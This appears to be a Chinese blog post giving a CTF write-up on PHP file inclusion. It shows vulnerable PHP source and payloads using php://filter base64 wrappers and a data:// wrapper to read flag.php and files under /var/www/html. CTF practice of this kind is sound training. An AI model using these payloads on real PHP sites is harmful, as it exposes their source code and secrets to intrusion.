文件包含的提升刷题
上一篇文章:一篇文章带你入门文件包含-CSDN博客
已经开始入门了文件包含,那现在开始拔高提升刷题!
1.
拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。
直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,
看来我上一篇文章的就知道,直接伪协议开始读取,
?file=php://filter/read=convert.base64-encode/resource=xxx.php
这个是基本的格式啊,
这里因为要写入cookie,而且首页还提示了网站首页目录??/var/www/html/index.php,
那就稍作修改,抓包,添加cookie并且写入
?language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
(2)
WRONG WAY!?<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"])?&&?isset($_GET["file2"]))
{
????$file1?=?$_GET["file1"];
????$file2?=?$_GET["file2"];
????if(!empty($file1)?&&?!empty($file2))
????{
????????if(file_get_contents($file2)?===?"hello?ctf")
????????{
????????????include($file1);
????????}
????}
????else
????????die("NONONO");
}
提示:PHP file_get_contents () 函数
- 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
- 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
- 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf?
- ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
- 这个payload在上一篇文章开头就有类似的,需要可以自行复制
-
?上一篇文章:一篇文章带你入门文件包含-CSDN博客
-
祝大家CTF玩的开心
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!